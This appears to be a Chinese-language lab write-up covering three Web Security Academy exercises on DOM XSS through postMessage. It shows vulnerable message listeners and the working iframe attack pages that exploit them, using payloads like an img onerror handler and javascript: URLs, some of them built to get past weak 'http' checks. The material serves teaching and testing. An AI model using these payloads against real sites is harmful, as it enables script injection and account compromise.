DOM XSS to websocket

如果頁面以不安全的方式處理傳入的 Web 訊息,例如,未在事件偵聽器中正確驗證傳入訊息的來源,則事件偵聽器呼叫的屬性和函數可能會成為接收器。

例如,攻擊者可以用iframe並搭配postMessage()方法將 Web 訊息資料傳遞到易受攻擊的事件偵聽器,然後偵聽器將有效負載傳送到父頁面上的sinks。如下

################# normal request ################# 
GET / HTTP/1.1
Host: acfd1fda1e63b75c8041008f00a600f6.web-security-academy.net
...omit...

################# normal response ################# 
...omit...
<script>
window.addEventListener('message', function(e) {
     document.getElementById('ads').innerHTML = e.data;
})
</script>
...omit...

只要準備以下攻擊頁面,受害瀏覽只要瀏覽此頁會觸發alert(1)

<iframe src="https://acfd1fda1e63b75c8041008f00a600f6.web-security-academy.net/" onload="this.contentWindow.postMessage('<img src=1 onerror=alert(1)>','*')">

Lab: DOM XSS using web messages


有時事件偵聽器確實包含某種形式的來源驗證,但驗證步驟有時也可能存在根本缺陷

舉例如下,從返回信息來看,假如url有包含http,就會將可控訊息傳到location.href

################# normal request #################
GET / HTTP/1.1
Host: acae1f7f1e6a6174807c06ac001400bb.web-security-academy.net
...omit...

################# normal response #################
...omit...
<script>
window.addEventListener('message', function(e) {
   var url = e.data;
   if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
      location.href = url;
   }
}, false);
</script>
...omit...

因此準備以下攻擊頁面,在攻擊訊息內包含http字串,如果受害瀏覽此頁會觸發alert(1)

<iframe src="https://acae1f7f1e6a6174807c06ac001400bb.web-security-academy.net/" onload="this.contentWindow.postMessage('javascript:alert(1)//http:','*')">

Lab: DOM XSS using web messages and a JavaScript URL


另一個例子如下,在請求的回應中發現,當type等於load-channel,會將url訊息的屬性指派給ACMEplayer.elementiframesrc屬性。然而,在這種情況下,url訊息的屬性實際上可以包含JavaScript 。

################# normal request #################
GET / HTTP/1.1
Host: ac9e1f151fc679b4809012a500660023.web-security-academy.net
...omit...

################# normal response #################
...omit...
<script>
window.addEventListener('message', function(e) {
   var iframe = document.createElement('iframe'), ACMEplayer = {element: iframe}, d;
   document.body.appendChild(iframe);
   try {
      d = JSON.parse(e.data);
   } catch(e) {
      return;
   }
   switch(d.type) {
      case "page-load":
          ACMEplayer.element.scrollIntoView();
          break;
      case "load-channel":
          ACMEplayer.element.src = d.url;
          break;
      case "player-height-changed":
          ACMEplayer.element.style.width = d.width + "px";
          ACMEplayer.element.style.height = d.height + "px";
          break;
   }
}, false);
</script>
...omit...

因此可準備以下攻擊頁面,如果受害瀏覽此頁會觸發alert(1)

<iframe src=https://ac9e1f151fc679b4809012a500660023.web-security-academy.net/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:alert(1)\"}","*")'>

Lab: DOM XSS using web messages and JSON.parse